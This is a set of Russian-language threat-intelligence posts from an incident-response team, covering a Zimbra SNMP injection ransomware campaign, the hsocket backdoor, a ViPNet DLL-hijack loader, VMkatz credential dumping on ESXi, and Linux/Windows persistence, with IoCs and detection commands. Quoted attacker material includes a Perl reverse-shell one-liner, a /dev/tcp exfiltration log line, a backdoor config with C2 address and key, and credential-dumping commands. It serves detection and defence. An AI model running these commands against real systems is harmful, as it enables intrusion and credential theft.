При расследовании инцидентов, когда злоумышленники шифруют образы виртуальных машин, нередко возникает ситуация, при которой файловая система повреждается настолько, что штатное монтирование становится невозможным.

Восстановить ее вручную теоретически можно, но это отнимает много времени и сопровождается потерями данных. В таких случаях применяется карвинг — побайтовый поиск сигнатур непосредственно в сыром образе, в обход файловой системы.

❗️ Команда PT ESC IR уделяет приоритетное внимание автоматизации разбора артефактов для последующего обнаружения вредоносной активности — это ускоряет восстановление картины инцидента.

Наш пайплайн преимущественно реализован на Go, поэтому мы разработали собственную библиотеку на том же языке. Она разбирает готовые EVTX-файлы даже при несовпадении контрольных сумм или повреждении файла, а также выполняет карвинг событий из побитовых копий, дампов памяти и образов виртуальных дисков.

О том, что поддается восстановлению и почему одни подходы дают полную структуру записи, а другие — лишь отдельные поля, читайте в нашем материале на Хабре 🫲

#ir #dfir #tip
@ptescalator

В ходе атак злоумышленники преследуют деструктивные цели, при этом достаточно долго сохраняют присутствие в скомпрометированной инфраструктуре.

При перемещении в инфраструктуре используются преимущественно WinRM (как правило, в сочетании с WinRb) и SSH.

Для закрепления в инфраструктуре используются в основном серверные машины с большим аптаймом (Windows\Linux), закрепление осуществляется посредством сервисов в обоих случаях. В качестве полезных нагрузок используется широкий набор инструментов:

• Агенты для фреймворка merlin.
• Агент на базе reverse_ssh.
• Утилита GoSocks5Proxy на базе go-socks5.
• ReverseProxy — собственная утилита на Rust.
• Бэкдор GoRinet. Использует шифрование конфига с ключом, формируемым на базе физического адреса сетевого адаптера.

🐻 Для совершения деструктивных действий используется разнообразное ПО, в том числе по ряду признаков разработанное с использованием ИИ.

• Вайпер T-Riper для сетевых устройств производства Cisco/Huawei — удаление образов, сброс конфигурации устройства, ребут. Используются в сочетании с bash-скриптами для запуска по удаленным целям.
• Кастомный вайпер для удаленного удаления данных QNAP.
• Для шифрования данных на машинах под управлением ОС Windows используется комплекс ВПО, состоящий из оркестратора (с возможностью отправки отчета о прогрессе шифрования на удаленный C2). Порождение вайперов осуществляется многопоточно, причем отдельные исполняемые файлы создаются с добавлением «мусора» в оверлей для уклонения от обнаружения. Для автоматизированного распространения по сети используются файлы конфигов с указанием известных кредов ранее скомпрометированных УЗ и целевых подсетей.

Также отмечено использование уязвимости CVE-2026-31431 (CopyFail) для повышения привилегий, кастомного инструмента CredsReseter для сброса паролей УЗ Linux-подобных систем и Windows-скриптов для дампа кредов сторонних сервисов.

Рекомендации:

• Осуществить поиск и мониторинг индикаторов компрометации.
• Провести сигнатурное сканирование.
• Обновить ОС.

IoCs

Файловые индикаторы:

Сетевые индикаторы

#ir #dfir #ti #malware #apt #ioc
@ptescalator

Дисклеймер: если вы используете неактуальную версию ПО Zimbra и не обнаружили на своем почтовом сервере приведенных ниже индикаторов компрометации конкретной кампании шифровальщика TargetZimbra, то это не значит, что ваш сервер гарантированно не скомпрометирован. Уязвимость CVE-2026-73570 может использоваться другими злоумышленниками, например, для установки майнеров, а также APT-группировками, нацеленными на компрометацию инфраструктуры всей организации.

Уязвимость CVE-2026-73570 позволяет атакующему осуществлять внедрение и выполнение вредоносных команд на почтовом сервере Zimbra с правами пользователя zimbra без предварительной аутентификации в результате недостаточной санации ввода в компоненте SNMP.

Для успешной эксплуатации на почтовом сервере должна быть установлена версия ПО Zimbra Collaboration Suite ниже 10.1.20, а также установлен пакет zimbra-snmp и включены SNMP-уведомления. Уязвимость эксплуатируется в результате отправки специально сформированного SMTP-запроса через порты 25, 465 или 587.

👀 Сценарий атаки:

1. В результате эксплуатации уязвимости CVE-2026-73570 злоумышленники создают на почтовом сервере файл /opt/zimbra/jetty_base/webapps/zimbra/public/version.txt (или versions.txt), содержащий сведения об используемой на сервере версии ПО Zimbra. Созданный файл является для атакующего индикатором успешной эксплуатации уязвимости.

2. На следующем этапе злоумышленники загружают JSP-шеллы в директорию почтового сервера /opt/zimbra/jetty_base/webapps/zimbra/public/. Кроме того, зафиксировано внедрение на сервер хакерского инструмента Gsocket. Ранее мы уже писали подробную заметку о том, как детектировать инструмент Gsocket.

3. Далее злоумышленники загружают шифровальщик TargetZimbra, написанный на языке Go. После запуска указанный вредоносный модуль шифрует файлы с использованием алгоритма ChaCha20 в каталоге /opt/zimbra/ и его подкаталогах.

4. После шифрования файлов шифровальщик изменяет их расширение на .elock, а также создает в зашифрованных директориях файлы !README_RECOVER.txt, содержащие контактную информацию и сведения для выкупа расшифровки данных. По окончании работы вредоносный модуль TargetZimbra удаляет себя из системы.

📫 Как проверить ваш почтовый сервер Zimbra на предмет наличия признаков компрометации?

1. В основном системном журнале почтовой службы /var/log/maillog записи, содержащие подстроку changed from stopped to, перед которой записана shell-команда или иная подозрительная нагрузка, являются признаком эксплуатации уязвимости CVE-2026-73570.

Для поиска вредоносных событий на вашем сервере может использоваться следующая команда: grep "changed from stopped to" /var/log/maillog

Пример выполнения команды id и передачи ее вывода на С2-сервер злоумышленников:

Aug 29 14:23:46 zimbra-server postfix/submission/smtpd[108829]: improper command pipelining after EHLO from unknown[[REDACTED_IP_1]]: : Service status change: h ;id>/dev/tcp/[REDACTED_IP_2]/1337; changed from stopped to running\r\nQUIT\r\n  

- время эксплуатации уязвимости: 29 августа 2026 года в 14:23:46; 
- [REDACTED_IP_1]: С2 адрес злоумышленников; 
- id>/dev/tcp/[REDACTED_IP_2]/1337: команда для выполнения на системе.

2. Наличие нестандартных JSP-файлов, которые не относятся к ПО Zimbra и были созданы либо изменены за последние месяцы в каталоге /opt/zimbra/jetty_base/webapps/zimbra/ и во всех его подкаталогах. Характерными признаками вредоносных JSP-файлов являются наличие обфусцированного кода, закодированных строк, а также нетипичная обработка GET- и POST-запросов.

Для поиска недавно созданных или измененных JSP-файлов на вашем сервере могут использоваться следующие команды:

find /opt/zimbra/jetty_base/webapps/zimbra/ -type f -iname '*.jsp' -newermt '2026-07-01' (поиск по дате изменения файла)

find /opt/zimbra/jetty_base/webapps/zimbra/ -type f -iname '*.jsp' -newerBt '2026-07-01' (поиск по дате создания файла)

Обратите внимание, что не все файловые системы Linux хранят дату создания файла. Если система не отслеживает указанную метку, то команда find выдаст ошибку.

Также проверьте сервер антивирусными средствами.

3. В журнале доступа WEB-сервера (например, для WEB-сервера Nginx стандартное расположение /var/log/nginx/access.log) записи об обращении к нестандартным JSP-файлам (с кодом ответа 200), расположенным в каталоге /opt/zimbra/jetty_base/webapps/zimbra/ и во всех его подкаталогах (в частности, часто используемый каталог /opt/zimbra/jetty_base/webapps/zimbra/public/), могут свидетельствовать о наличии WEB-shell'ов на почтовом сервере. Если WEB-shell получает команды через GET-запрос, то передаваемая команда будет отображена в журнале.

Пример вывода результата выполнения команды ls в браузер атакующего:

[REDACTED_IP] - - [29/Aug/2026:12:41:35 +0000] GET /public/bzng.jsp?p=ls HTTP/1.0 200 443 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 34889  

- [REDACTED_IP]: С2 адрес злоумышленников; 
- [29/Aug/2026:12:41:35 +0000]: время обращения к WEB-shell; 
- public/bzng.jsp: расположение WEB-shell; 
- ls: выполняемая команда.

Кроме того, исследуя сетевую инфраструктуру злоумышленников, мы обнаружили WEB-панели платформы CyberStrikeAI, размещенные на нескольких С2-серверах (скриншоты 1 и 2).

CyberStrikeAI — открытая платформа, предназначенная для автоматизации тестирования на проникновение с использованием ИИ.

Наличие работающей платформы на С2-сервере злоумышленников может указывать на ее применение как на отдельных этапах атаки (например, первоначальной компрометации сервера), так и в рамках всего инцидента.

💡 Рекомендуем:

1. Обновить ПО Zimbra на вашем почтовом сервере до актуальной версии. В идеале также переустановить ОС сервера с переносом всех почтовых данных.

2. В случае невозможности быстрого обновления ПО временным решением может быть отключение SNMP-уведомлений и удаление пакета zimbra-snmp.

3. Кроме того, проверьте почтовый сервер антивирусными средствами, а также вручную посмотрите нестандартные JSP-файлы, созданные за последние месяцы в служебных каталогах Zimbra.

Файловые индикаторы компрометации:

/opt/zimbra/jetty_base/webapps/zimbra/public/version.txt или versions.txt — файл, содержащий версию ПО Zimbra;

/opt/zimbra/jetty_base/webapps/zimbra/public/[Filename].jsp — WEB-shell;

/opt/zimbra/log/defunct — Gsocket;

elockc[a-z] (например, elockcl) — шифровальщик;

runloop.sh — скрипт, создаваемый шифровальщиком;

!README_RECOVER.txt — записка злоумышленников;

*.elock — файлы с расширением .elock.

Сетевые индикаторы компрометации:

135.136.63.63
139.28.49.138
146.70.169.246
193.24.211.91
193.32.126.168
31.177.110.136
37.32.73.156
64.62.156.162
64.62.156.222
64.62.156.94
88.214.21.183
89.116.171.182
89.117.94.35

Gsocket:

*.gs.thc.org
gsocket.io
152.53.173.29
152.53.173.30
176.65.149.52
212.132.98.170
217.154.53.116
217.154.53.187
45.90.4.121
45.90.4.128
51.91.190.241
51.91.190.242

#IR #CVE #Malware #detect #dfir #ioc
@ptescalator

В ходе расследования одного из инцидентов специалисты PT ESC IR наткнулись на весьма диковинный инструмент hsocket (не путать с gsocket).

После получения первоначального доступа и установки веб-шелла злоумышленники доставили на скомпрометированный веб-сервер три bash-скрипта.

1️⃣ hsocket — бэкдор, имеющий следующий функционал:

• запуск интерактивной командной оболочки

• запуск эксплойтов для повышения привилегий в Linux-системах (PwnKit, Dirty Pipe, Dirty COW, Netfilter)

• сканирование директории на наличие веб-шеллов и их удаление (вероятно, для очистки следов)

• защита файлов от удаления

• установление reverse shell-соединения с управляющим сервером с помощью кода на Perl:

perl -e "use Socket;\$i=\"$hsHOST\";\$p=$hsPORT;socket(S,PF_INET,SOCK_STREAM,
getprotobyname('tcp'));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){
open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('sh -i');};"

• скачивание и запуск скриптов для поиска ошибок в конфигурации Linux и повышения привилегий (linenum, linpeas)

2️⃣ hfsm — файловый менеджер, который позволяет интерактивно работать с файловой системой: просматривать, редактировать и удалять файлы.

3️⃣ .hsrc — устанавливает полные права на чтение, запись и исполнение файлов hsocket и hfsm, а также создаёт алиасы для запуска данных скриптов.

В рамках данного исследования нам удалось обнаружить статью, написанную на индонезийском языке, в которой было описано данное ВПО.

Что интересно, веб-шелл, установленный на скомпрометированном сервере, также содержал комментарии и строки на индонезийском:

// Fungsi untuk tampilan halaman login
$Warning = "### ⚠️Info!! Terdekteksi Aktivitas Dari";

Сам веб-шелл является модифицированной версией Gecko. Об этом говорят комментарии и характерные строки кода:

//------------------GECKO SHELL, RECODED BY AYANA--------------------//
<!-- Gecko Folder File Manager -->

IoC:

hsocket.io
/tmp/hs-data/

#ir #dfir #detect #ioc #malware
@ptescalator

PhantomCore продолжает активно использовать ошибки в конфигурации 1С для атак на российские организации.

Об атаках на 1С с помощью 1cshell мы писали ранее (1, 2, 3).

В рамках расследования инцидента команда PT ESC IR обнаружила компрометацию сервера 1С, работающего на операционной системе семейства Linux 🐧

Среди характерных признаков — наличие вредоносных исполняемых файлов в подкаталогах домашней директории служебного пользователя usr1cv8 и команд в .bash_history того же пользователя — в частности просмотр и удаление файла res.txt, в который записывается результат выполнения кода посредством 1cshell.

/home/usr1cv8/.bash_history: cat res.txt

/home/usr1cv8/.bash_history: rm res.txt

После получения доступа в систему PhantomCore установили ReverseSSH-туннель, что является типичным поведением для данной группировки.

🕵️‍♂️ Помимо часто используемого инструментария, мы встретили и более диковинную утилиту croc, предназначенную для удаленной загрузки и эксфильтрации файлов.

На исследуемом узле были обнаружены команды формата: CROC_SECRET=[REDACTED] ./croc

С помощью нее злоумышленники могли загрузить на скомпрометированный узел файл, который был предварительно отправлен через веб-интерфейс https://getcroc.com/ (на скриншоте) или с другого компьютера, на котором установлен croc.

💡 Для поиска следов использования croc можно поискать исполняемый файл с соответствующим именем, а также использование переменной окружения CROC_SECRET.

В качестве сетевого индикатора может служить домен getcroc.com.

#ir #tip #apt #detect #dfir
@ptescalator

При подозрении на инцидент — пишите нам, поможем с расследованием.

Как происходит атака

Посредством базовой функциональности транспортного протокола MFTP злоумышленники передают между клиентами файл-конверт (.ctl), содержащий вредоносную библиотеку wtsapi32.dll, которая загружается исполняемым файлом Itcsrvup64.exe (компонент службы обновления ПО ViPNet) при помощи техники DLL Hijacking и сохраняется на файловую систему посредством техники Path Traversal по пути:

C:\ProgramData\InfoTeCS\<9-значный_идентификатор_устройства>\./../../../program files (x86)/infotecs/vipnet update system/wtsapi32.dll

wtsapi32.dll

ВПО представляет собой загрузчик, хранящий в секции .data исполняемый файл в виде DLL-библиотеки с измененными магическими байтами (magic bytes) заголовка.

ВПО выполняет проверку контекста запуска. В случае запуска в контексте любого процесса, кроме svchost.exe, оно находит работающий экземпляр процесса svchost.exe с параметром netsvcs в командной строке и внедряет туда указанную библиотеку.

Основной функционал ВПО:

• работа в режиме прокси-сервера для перенаправления сетевого трафика;
• загрузка дополнительных DLL-библиотек в адресное пространство;
• выполнение загруженных библиотек.

В основе обработки команд лежит диспетчер IOCTL-запросов, управляющий таблицей активных подключений через перехват WinAPI-функций:

• NtDeviceIoControlFile
• closesocket
• shutdown

С помощью библиотеки Detours таблица:

• блокирует преждевременное закрытие сетевых сокетов;
• обрабатывает код операции AFD_GET_TDI_HANDLES (0x12037) для регистрации нового сокета;
• обрабатывает AFD_RECV (0x12017) для начала обработки входящего трафика.

Дескрипторы сохраняются в таблицу (по 8344 байта на запись).

При обработке кода 0x12017 ВПО записывает идентификаторы потока и процесса в файл:

C:\Users\Public\tesh4RPC.txt

в формате:

threadid: pid=

Параллельно ВПО разворачивает TCP-сервер на портах:

• 5003
• 5060

Для каждого клиента создается отдельный поток обработки.

После успешного «рукопожатия»:

• отправляются два байта 0x0502;
• ожидается строка:

ASDFASFSAFASDF

Далее:

• сообщения вида :<данные> используются для создания новых сокетов и проксирования трафика;
• если поступает исполняемый файл — он загружается в память процесса и запускается в отдельном потоке.

SetupChk.exe

Отдельно стоит отметить эпизод в конце мая 2026 года — на клиентские устройства ViPNet был доставлен пакет обновления в виде .lzh-архива, содержащего:

• SetupCheck.dll
• SetupChk.exe

ВПО считывает информацию из реестра Windows:

SOFTWARE\Wow6432Node\InfoTeCS\ITCSShared\AuthInfo

После чего определяет версию клиента по ключу (ожидает версию 4.5):

SOFTWARE\Infotecs\FeaturesAndComponents\Monitor_Feature

Функциональность ВПО:

1️⃣ Очистка журналов InfoTeCS:

• C:\ProgramData\InfoTeCS\UpdateSystemData\UpdateSystem.Journal
• C:\ProgramData\InfoTeCS\UpdateSystemData\updateservice.log.txt
• C:\ProgramData\InfoTeCS\Mftp\mftp.debug.log
• C:\Program Files (x86)\InfoTeCS\ViPNet Client\mftp.log

2️⃣ Cбор информации о системе:

• процессы;
• сетевые соединения;
• установленное ПО;

3️⃣ Формирование вредоносного конверта m02smnrf.ctl.

Во время расследования также были обнаружены:

• загрузчик Donnect (mocdng.dll);
• бэкдор ShadowRelay (Diagnosis.exe).

Конфигурация обнаруженного экземпляра ShadowRelay:

{
  "mode": "client",
  "proto": "tcp",
  "svri": "154.89.152.59",
  "svrp": 443,
  "reconnintv": 459,
  "enctype": "aes",
  "aeskey": "]zf,.Hso'!x3|ezz/hzHzxa(P=x.bB.r",
  "rsapubkey": "not set",
  "rsaprikey": "not set",
  "antidebug": 1,
  "autodelete": 0,
  "autostart": 0,
  "portreuse": 0,
  "envpara": "3ff18683a02d3aefab2f",
  "targetprocess": "",
  "usehttp": 0,
  "servicename": "svcsvc",
  "servicedesc": "OneDrive client application",
  "beattimeout": 65
}

Метод обнаружения

Для проверки факта реализации инцидента рекомендуется выполнить:

Get-ChildItem -Path "C:\ProgramData\Infotecs\Mftp" -File -Recurse |
Select-String -Pattern "\.dll|\.\/\.\.\/\.\.\/\.\.\/"

Пример обнаружения:

C:\ProgramData\Infotecs\Mftp\mftp.debug.log:166742:REDACTED [REDACTED]: File C:\ProgramData\InfoTeCS\REDACTED\./../../../program files (x86)/infotecs/vipnet update system/wtsapi32.dll with keepFlag=0 and fileSize=219136

Для проверки получения вредоносного обновления:

Get-ChildItem -Path "C:\ProgramData\Infotecs\UpdateSystemData" -File -Recurse |
Select-String -Pattern "/driv_fs/"

Пример результата:

C:\ProgramData\Infotecs\UpdateSystemData\updateservice.log.lo1:9157:REDACTED: Extracting file update/driv_fs/setup.exe.config

C:\ProgramData\Infotecs\UpdateSystemData\updateservice.log.lo1:9158:REDACTED: Extracting file update/driv_fs/setupcheck.dll

C:\ProgramData\Infotecs\UpdateSystemData\updateservice.log.lo1:9159:REDACTED: Extracting file update/driv_fs/setupchk.exe

💡 MaxPatrol SIEM и MaxPatrol EDR обнаруживают эксплуатацию уязвимости в ViPNet правилом DLL_Side_Loading. MaxPatrol VM детектит недостаток и дает рекомендации по его оперативному закрытию.

Рекомендации

Накатить обновелния: ViPNet Client 4 версии 4.5.3 сборки 65211 и выше, версию 4.5.5 сборки 24733, которая станет доступна в ближайшее время, а также ViPNet Administrator версии 4.6.11.5113 и выше.

А если возможности нет, то для нейтрализации угроз необходимо:

• остановить службу ViPNet система обновления;
• отключить службу на каждом узле, где она установлена;
• запретить автоматический запуск.

Вариант А. Через графический интерфейс

1. Win + R
2. services.msc
3. Найти службу ViPNet система обновления.
4. Открыть свойства.
5. Выбрать тип запуска Отключена (Disabled).
6. Нажать Стоп.
7. Нажать Применить и ОК.

Вариант Б. Через PowerShell

# Остановка службы
Stop-Service -Name "itcsrvup" -Force

# Отключение службы
Set-Service -Name "itcsrvup" -StartupType Disabled

Дополнительно необходимо отключить службу MFTP на координаторах HW и xFirewall службу MFTP при помощи команды:

mftp stop

Также важно:

• отслеживать появление индикаторов компрометации;
• своевременно обновлять компоненты ПО ViPNet.

IoC's

Образцы ВПО

Файловые индикаторы

• C:\Users\Public\tesh4RPC.txt
• C:\Users\Public\ntusers.logs
• C:\ProgramData\InfoTeCS\<9-значный_идентификатор_устройства>\ccc\wtsapi32.up1
• C:\Users\Public\music\info.bat
• C:\Users\Public\music\up.zip
• C:\Users\Public\music\res.log
• C:\Users\Public\music\mustd.exe

Сервисы

• Network Monitor Serial Service
• OneDrive client application
• Ntmssvc
• Svcsvc

Сетевые индикаторы

Следим за развитием событий и будем дополнять материал на сайте по мере появления новых подробностей.

#dfir #ir #ti
@ptescalator

Для ESXi-систем разработчиком был подготовлен отдельный Python-загрузчик, предназначенный для размещения VMkatz в памяти без запуска бинарного файла через execve(). Вместо этого скрипт открывает ELF-бинарь как набор байтов, разбирает его заголовки и загружаемые сегменты, выделяет области памяти в адресном пространстве текущего процесса, копирует туда содержимое ELF и затем передает управление на его точку входа.

В результате VMkatz не запускается как отдельный процесс, а выполняется внутри уже существующего процесса Python. Такой механизм используется для обхода ограничений параметра execInstalledOnly, который запрещает запуск неподписанных бинарных файлов. На скриншоте 1 представлен пример работы VMkatz на ESXi, запущенного с помощью Python-загрузчика. В качестве входных данных инструменту был передан снимок оперативной памяти виртуальной машины. В результате VMkatz извлек доступные учетные данные.

В одном из расследований команда PT ESC IR столкнулась со сценарием, в котором злоумышленники, получив доступ к гипервизору VMware ESXi, использовали подобный подход для извлечения учетных данных из виртуальных машин с помощью следующих команд:

python /tmp/vmkatz_loader.py /tmp/vmkatz --dump lsass /vmfs/volumes/DATA/VM-DC01/VM-DC01-Snapshot.vmsn
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/DATA/VM-DC01/VM-DC01-Snapshot.vmsn
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/DATA/VM-DC01/VM-DC01.vmdk

Отдельный риск представляет функция утилиты для извлечения базы данных Active Directory NTDS.dit и раздела реестра SYSTEM с контроллеров доменов (пример показан на скриншоте 2). В таком случае компрометация гипервизора может привести не только к компрометации отдельных виртуальных машин, но и к компрометации всего домена.

Как защититься?

• Включать шифрование всех файлов виртуальных машин.
• Отключать SSH-доступ и не использовать его как основной способ администрирования. SSH должен включаться только временно, когда это необходимо для диагностики или устранения неисправностей. В качестве метода аутентификации следует использовать SSH-ключи вместо паролей. Также необходимо организовать мониторинг событий входа на гипервизор под привилегированными учетными записями.
• Доступ к TCP-порту 22 необходимо ограничить с помощью межсетевых экранов или выделенного административного сегмента. Подключения должны разрешаться только с jump-узлов или доверенных административных IP-адресов, доступ к которым защищен многофакторной аутентификацией.

#ir #dfir #esxi #tip
@ptescalator

В ходе расследования инцидентов мы в PT ESC IR регулярно сталкиваемся с необходимостью анализа баз данных в формате ESE (Extensible Storage Engine), поскольку в подобных артефактах можно найти много интересного.

Чтобы эффективнее работать с такими файлами, важно понимать, как этот формат устроен изнутри. Поэтому по итогам исследования мы подготовили подробный разбор внутреннего устройства ESE (также известного как Jet Blue) — встроенной СУБД от Microsoft, которая используется во многих продуктах компании.

В статье рассказываем, как на низком уровне организовано хранение данных, как устроены страницы и записи, а также разбираем особенности реализации движка, которые могут быть полезны при анализе содержимого БД и разработке собственных парсеров для работы с такими файлами.

🫱 Подробности — на Хабре.

#ir #dfir #win #tip
@ptescalator

Читайте также про: Zabbix Agent, TimeProvider, COM Hijacking, WMICLNT.

5️⃣ Systemd Generator

Systemd Generator — это исполняемый файл, который systemd запускает на этапе загрузки системы (или при выполнении daemon-reload) для динамического создания unit-файлов служб, целей и точек монтирования. Злоумышленники используют этот механизм для скрытого закрепления, поскольку генераторы выполняются с привилегиями root до запуска основных служб и редко проверяются администраторами.

Ключевые директории:

• /etc/systemd/system-generators/*
• /usr/local/lib/systemd/system-generators/*
• /lib/systemd/system-generators/* (или /usr/lib/systemd/system-generators/)

😐 Механизм закрепления:

1. Злоумышленник помещает исполняемый файл в одну из ключевых директорий — скрипт или бинарный файл (обычно с маскирующим именем, например systemd-cp-generator).

2. При каждой загрузке системы или выполнении systemctl daemon-reload — systemd запускает все найденные генераторы.

3. Генератор может: создать свой сервис в /run/systemd/system/ и включить его, перезаписать юниты существующих служб (особенно через /run/systemd/generator.early/, где приоритет выше, чем у /etc/systemd/system/), отключить критически важные средства защиты, выполнить полезную нагрузку напрямую.

😮 Рекомендации:

Поскольку генераторы запускаются до систем мониторинга, основной метод — мониторинг файловой системы на предмет создания и изменения файлов в директориях генераторов.

1. Мониторинг файловой системы — в первую очередь отслеживайте создание и изменение файлов в перечисленных директориях. Используйте auditd, так как он работает на уровне ядра и может сработать даже при ранней загрузке.

2. Контроль целостности — периодически сверяйте хеш-суммы файлов в директориях генераторов с эталонными.

3. Ограничение прав — запретите обычным пользователям и непривилегированным процессам запись в эти директории.

4. Анализ генераторов — проверяйте нестандартные или недавно появившиеся генераторы, особенно если они не от легитимных пакетов (openvpn, systemd-rc-local-generator и т.п.).

На этом с этой серией постов — пока что все 😉

#ir #dfir #tips
@ptescalator

Читайте также про: Zabbix Agent, TimeProvider, COM Hijacking.

4️⃣ WMICLNT

Эта техника закрепления основана на перехвате DLL, загружаемой легитимной службой Windows Management Instrumentation (WMI), и в MITRE ATT&CK классифицируется как T1546.008 (Event Triggered Execution: Accessibility Features) или как частный случай DLL Hijacking.

Злоумышленники используют особенность запуска консоли WMIC (wmic.exe), которая является стандартным инструментом системного администрирования. При запуске WMIC пытается загрузить библиотеку wmiclnt.dll, но эта библиотека может отсутствовать в стандартной поставке Windows.

Штатный wmic.exe работает и без нее — функциональность может быть ограничена, однако сам факт попытки загрузки позволяет атакующему разместить по пути поиска DLL свою вредоносную библиотеку.

Атакующий размещает вредоносную wmiclnt.dll в C:\Windows\System32\wbem. Для активации может использоваться любой удобный злоумышленнику триггер — как конкретное задание в планировщике, так и перезапуск системной службы.

В первом случае создается Scheduled Task, периодически дергающий легитимную утилиту (например, wmic os get name), что приводит к загрузке DLL и выполнению вредоносного кода в DllMain.

Во втором — применяется циклический перезапуск службы WMI командами net stop winmgmt /y и net start winmgmt, что также провоцирует обращение к подставной библиотеке и обеспечивает закрепление.

⬇️ Для успешной загрузки и скрытной работы вредоносная wmiclnt.dll должна удовлетворять следующим условиям:

• Функции экспорта: вредоносная DLL обязана реализовать и экспортировать все те же функции, которые пытается импортировать wmic.exe (скриншот 3), чтобы процесс не упал с ошибкой.

• Чаще всего вредоносная логика выполняется прямо в DllMain (функция DLL_PROCESS_ATTACH), так как это гарантирует выполнение кода сразу после загрузки библиотеки без необходимости вызова конкретных экспортируемых процедур.

• Проксирование: для максимальной маскировки вредоносная DLL может выступать в роли «прокси», пробрасывая вызовы на реальный системный API, чтобы wmic.exe отрабатывал штатно и не вызывал подозрений.

👀 Признаки компрометации:

• Появление файла wmiclnt.dll в директории C:\Windows\System32\wbem\ (в чистой системе этот файл отсутствует, хотя на старых версиях мог существовать; в современных Windows 10/11 и Server 20xx файл находится в директории C:\Windows\System32\).

• Нестандартные дочерние процессы у wmic.exe (например, если из-под WMIC вдруг запускается powershell.exe или rundll32.exe с сетевым взаимодействием).

• Еще одним признаком компрометации может служить событие Event ID 11 (Image Load), где поле "SignatureLevel": 1 указывает на unsigned/untrusted образ.

{"Event"…"EventID":11,"Version":0,"Level":0,"Task":6,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#att  
ributes":{"SystemTime":"2026-02-27T10:26:15.414597Z"}},…,"Channel":"Microsoft-Windows-SecurityMitigations/KernelMode","Computer":“REDACTED","Security":{"#attributes":{"UserID":"S-1-5-  
18"}}},"EventData":{"ProcessPathLength":52,"ProcessPath":"\\Device\\HarddiskVolume4\\Windows\\System32\\svchost.exe  
","ProcessCommandLineLength":56,"ProcessCommandLine":"C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s  
Winmgmt","ProcessId":37383,"ProcessCreateTime":"2026-02-  
27T10:26:15.254827Z","ProcessStartKey":19140298416383003,"ProcessSignatureLevel":0,"ProcessSectionSignatureLevel":0,  
"ProcessProtection":0,"TargetThreadId":29700,"TargetThreadCreateTime":"2026-02-  
25T08:24:13.276875Z","RequiredSignatureLevel":8,"SignatureLevel":1,"ImageNameLength":34,"ImageName":"\\Windows\  
\System32\\wbem\\wmiclnt.dll"}}}

Продолжение будет в следующем посте 🔽

#ir #dfir #tips
@ptescalator